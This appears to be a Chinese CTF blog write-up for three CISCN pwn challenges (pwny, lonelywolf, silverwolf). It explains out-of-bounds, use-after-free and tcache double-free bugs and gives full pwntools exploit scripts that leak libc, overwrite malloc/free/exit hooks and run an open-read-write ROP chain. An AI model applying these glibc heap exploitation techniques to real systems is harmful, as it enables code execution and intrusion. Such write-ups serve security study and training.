ciscn

一、pwny

先checksec一下

保护全开了,进入ida看看代码。

三个功能,主要看read和write两个,其次注意在循环的顶上有个函数。

这里面,有一个定义的变量,存放了随机数的文字描述符。这里的变量作为后面两个功能里面的read的第一个参数,所以我们是无法输入数据的。

进入write函数,这里数组存在越界,可以通过这里修改两次,把之前那个变量修改为0。这里是这么理解的:第一次修改,是把随机数里面的一个数据替换文字描述符,然后在来一次,由于这个随机数不会对应一个打开的文件,所以read不执行,v2仍然是0,就成功修改了。因为这题开启了PIE加上本就有的ASLR,我们要泄露的地址有两个,一个是PIE,另一个是libc

在read功能里面有个__print_chk,在汇编代码可以看见,第三个参数是可以被栈顶的内容影响,而这是我们可以输入的,所以继续数组越界

分别泄露出.bss段上的stdrr,以及data里面存在一个该地址的偏移,可以看出来方向是对了,主题人给的条件。

这是计算泄露出的地址距离libc_base的偏移

最后劫持exit_hook为system,并且找到exit对应的参数位置,将其修改为”/bin/sh\x00”。大佬的思维是真滴强!膜拜!

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p=process('./1')
libc =ELF('./libc-2.27.so')
def write_s(idx):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def read_s(idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Index: ")
p.send(p64(idx))
write_s(0x100)
write_s(0x100)
read_s(0xFFFFFFFFFFFFFFFC)
p.recvuntil("Result: ")
libc.address = int(p.recv(12),16) -0x3ec680
print hex(libc.address)
read_s(0xFFFFFFFFFFFFFFF5)
p.recvuntil("Result: ")
pie = int(p.recv(12),16)+0x58
print hex(pie)
write_s((libc.address+0x61b968 - pie)/8)
p.sendline('/bin/sh\x00')
gdb.attach(p)
write_s((libc.address+0x61bf60 - pie)/8)
p.sendline(p64(libc.sym['system']))

p.sendline('3')
p.interactive()

第二种做法涉及到一个知识点,scanf函数在遇到过长输入时会申请堆。前面在泄漏PIE和libc是一致的,getshell时,让数组越界访问到__malloc_hook那边去,写入one_gadget

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
p=process('./1')

def write(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))


def write_con(idx, con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.send(con)

def read(con):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.send(con)

# fd --> 0
write(256)
write(256)

# leak libc
read(p64(0xfffffffffffffffc)) # bss --> stderr
p.recvuntil("Result: ")
info = p.recvuntil("\n")
libc_info = int(info, 16)
print("stderr: ", hex(libc_info))

# leak code addr
read(p64(0xfffffffffffffff5)) # data --> off_202008
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
code_base = int(info, 16)-0x202008
print("code base: ", hex(code_base))


libc = ELF("./libc-2.27.so")
base = libc_info-libc.sym["_IO_2_1_stderr_"]
print "libc base: ", hex(base)
m_hook = base+libc.sym["__malloc_hook"]
print "m_hook: ", hex(m_hook)
realloc = base+libc.sym["realloc"]
print"realloc: ", hex(realloc)
oneshot = [0x4f3d5, 0x4f432, 0x10a41c]
oneshot = base+oneshot[2]
print"oneshot: ", hex(oneshot)

offset = (m_hook-code_base-0x202060)/8
print"offset: ", offset
write_con(int(offset), p64(realloc+9))
gdb.attach(p)
write_con(int(offset-1), p64(oneshot))
p.sendlineafter(":", b"1"*0x400) # scanf

p.interactive()

第三种在栈上进行跳转,这里就不修改和解释了,一个大佬直接复制过来的,就纯粹记录知识点:libc中environ存储了栈上环境变量

exp3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
# libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/pwny/libc-2.27.so"
# p = remote("124.71.230.113", 24425)
p = process([ld_path, "./pwny"])


def write(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))


def write_con(idx, con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.send(con)

def read(con):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.send(con)

# fd --> 0
write(256)
write(256)

# leak libc
read(p64(0xfffffffffffffffc))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
libc_info = int(info, 16)
print("stderr: ", hex(libc_info))

# leak code addr
read(p64(0xfffffffffffffff5))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
code_base = int(info, 16)-0x202008
print("code base: ", hex(code_base))

# count
# libc = ELF("./libc-2.27.so")
libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so")
base = libc_info-libc.sym["_IO_2_1_stderr_"]
environ = base+libc.sym["environ"]
print("environ: ", hex(environ))
oneshot = [0x415b6, 0x4160a, 0xdfae1]
oneshot = base+oneshot[0]

# leak stack addr
offset = int((environ-code_base-0x202060)/8)
read(p64(offset & 0xffffffffffffffff))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
write_ret = int(info, 16)-0x118
print("write_ret: ", hex(write_ret))

# attack
offset = int((write_ret-code_base-0x202060)/8)
write_con(offset, p64(oneshot))

p.interactive()

二、lonelywolf

程序存在UAF,double free把堆块申请到tcache 上,将之释放得到libc,然后分配到malloc_hook上执行one_gadget即可,注意的是double free时,要free一次后往里面写数据覆盖key,绕过检查,才能二次free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p=remote('124.70.0.162',26313)
p=process('./2')
elf=ELF('./2')
libc=ELF('./libc-2.27.so')
__malloc_hook=libc.sym['__malloc_hook']

def allocate(size):
p.sendlineafter("choice: ",'1')
p.sendlineafter("Index: ",'0')
p.sendlineafter("Size: ",str(size))
def edit(content):
p.sendlineafter("choice: ",'2')
p.sendlineafter("Index: ",'0')
p.sendlineafter("Content: ",content)
def show():
p.sendlineafter("choice: ",'3')
p.sendlineafter("Index: ",'0')
def delete():
p.sendlineafter("choice: ",'4')
p.sendlineafter("Index: ",'0')


allocate(0x60)
delete()
edit(p64(0))
delete()
show()
p.recvuntil("Content: ")
heap=u64(p.recv(6).ljust(8,'\0'))
log.info("heap addr:" + hex(heap))
edit(p64(heap - 0x250))
allocate(0x60)
allocate(0x60)
for i in range(0,8):
edit(p64(0))
delete()
show()
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,'\0')) - 0x3ebca0
one_gadget = libc_base + 0x10a41c #0x4f3d5, 0x4f432, 0x10a41c
__malloc_hook = libc_base + __malloc_hook
log.info("libc base:0x%x" %libc_base)
log.info("__malloc_hook:0x%x" %__malloc_hook)
log.info("one_gadget:0x%x" %one_gadget)
allocate(0x50)
edit(p64(0))
allocate(0x10)
edit(p64(__malloc_hook))
delete()
edit(p64(__malloc_hook))
allocate(0x10)
allocate(0x10)
edit(p64(one_gadget))
gdb.attach(p,"b*main")
allocate(0x20)
p.interactive()

silverwolf

时隔几月,总算是有能力来复现了,真不容易,不忘初心,砥砺前行!

image-20210925084726694

常规checksec,64位保护全开

image-20210925084839791

image-20210925084858088

程序一开始就初始化了沙箱,看来是道orw的题了

image-20210925085147596

add功能里面,只能申请小等于0x78的堆块,然后堆块结构体只存放一个堆块,也就是我们后续操作只能对着当前堆块进行

image-20210925085714119

delete功能存在UAF漏洞

image-20210925085753680

show功能打印堆块内容

image-20210925090452594

edit功能往堆块里面写内容

image-20210925091304553

由于开启沙箱,堆块存在十分多,把存放有堆地址的堆块申请出来,泄露堆地址

image-20210925094259648

image-20210925094827325

通过得到的堆地址,以及UAF把堆块申请到tcache上去,然后修改tcache entries,破坏结构,然后释放tcache,得到libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0x60)
show()
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0
log.info("heap_addr==>0x%x" %heap_addr)
free()
edit(p64(heap_addr + 0x10))
add(0x60)
add(0x60)
payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6
edit(payload)
free()
show()
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0
log.info("libc_base==>0x%x" %libc_base)

setcontext = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base + libc.sym['mprotect']

image-20210925102647508

image-20210925163718481

image-20210925163939660

image-20210925164137807

image-20210925165150750

由于前面产生libc地址破坏了堆块,所以要再重新修复一下,并且还要继续利用,所以在修复的同时也要再次覆盖chunk在上面,因为我们的申请的堆块大小有限制,所以要从把堆块劫持到0x20开始(前0x40是count),然后这边生成出的堆块是0x40,刚好,如果是从0x20开始,一直到0x80都是我们能申请的大小,而这跨度刚好是0x38,十分巧妙!膜拜大佬!

image-20210925104646878

然后就是往那个堆块填充我们需要分配堆块的地址,就可以一块块的分配出去,完成free_hook写setcontext,设置’./flag\x00’地址,gadget所需寄存器的值设置以及rop填充地址,等等

image-20210925174414433

这里说一下,要用系统调用来调用open函数,否则会在运行到open函数直接报错退出,具体不懂,我跟踪到open函数发现fd分配到的数值很大,rdi什么的也是不对劲,具体原因不明白,然后就是,后面虽然一个堆块放不下rop,但是,分配出去的堆块我惊讶的发现是没有堆头的,所以rop仍然是连贯的

总的来说,还是完成了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./1")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})

def debug():
gdb.attach(p,"b *main")

def add(size):
p.sendlineafter("choice: ",'1')
p.sendlineafter("Index: ",'0')
p.sendlineafter("Size: ",str(size))
def edit(content):
p.sendlineafter("choice: ",'2')
p.sendlineafter("Index: ",'0')
p.sendlineafter("Content: ",content)
def show():
p.sendlineafter("choice: ",'3')
p.sendlineafter("Index: ",'0')
def free():
p.sendlineafter("choice: ",'4')
p.sendlineafter("Index: ",'0')

add(0x60)
show()
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0
log.info("heap_addr==>0x%x" %heap_addr)
free()
edit(p64(heap_addr + 0x10))
add(0x60)
add(0x60)
payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6
edit(payload)
free()
show()
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0
log.info("libc_base==>0x%x" %libc_base)

setcontext = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = 0x00000000000215bf + libc_base
pop_rsi = 0x0000000000023eea + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
pop_rax = next(libc.search(asm('pop rax\nret'))) + libc_base
ret = 0x00000000000008aa + libc_base
syscall = next(libc.search(asm("syscall\nret"))) + libc_base
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
#open = libc_base + libc.sym["open"]
rop_addr = heap_addr+0x1000
flag_addr = heap_addr+0x2000

rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(write)
log.info("orw rop len is: " + hex(len(rop)))
add(0x48)
payload = p64(0)*9
edit(payload)
for i in range(5):
add(0x10)
add(0x18)
edit(p64(heap_addr + 0x50))
add(0x38)
payload = p64(free_hook) + p64(flag_addr) + p64(heap_addr + 0x2000)
payload += p64(heap_addr + 0x20A0) + p64(rop_addr) + p64(rop_addr+0x50) + p64(0)
edit(payload)
add(0x10)
edit(p64(setcontext))
add(0x20)
edit("./flag\x00")
add(0x40)
edit(p64(rop_addr) + p64(ret))
add(0x50)
edit(rop[:0x50])
add(0x60)
edit(rop[0x50:])
add(0x30)
free()
p.interactive()

由于其他的题目我还未彻底学会,所以这里贴上大佬的博客,里面有其他题目的wp:

https://blog.csdn.net/A951860555/article/details/116910945?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242

https://nuoye-blog.github.io/2021/05/16/466a7375/

查看评论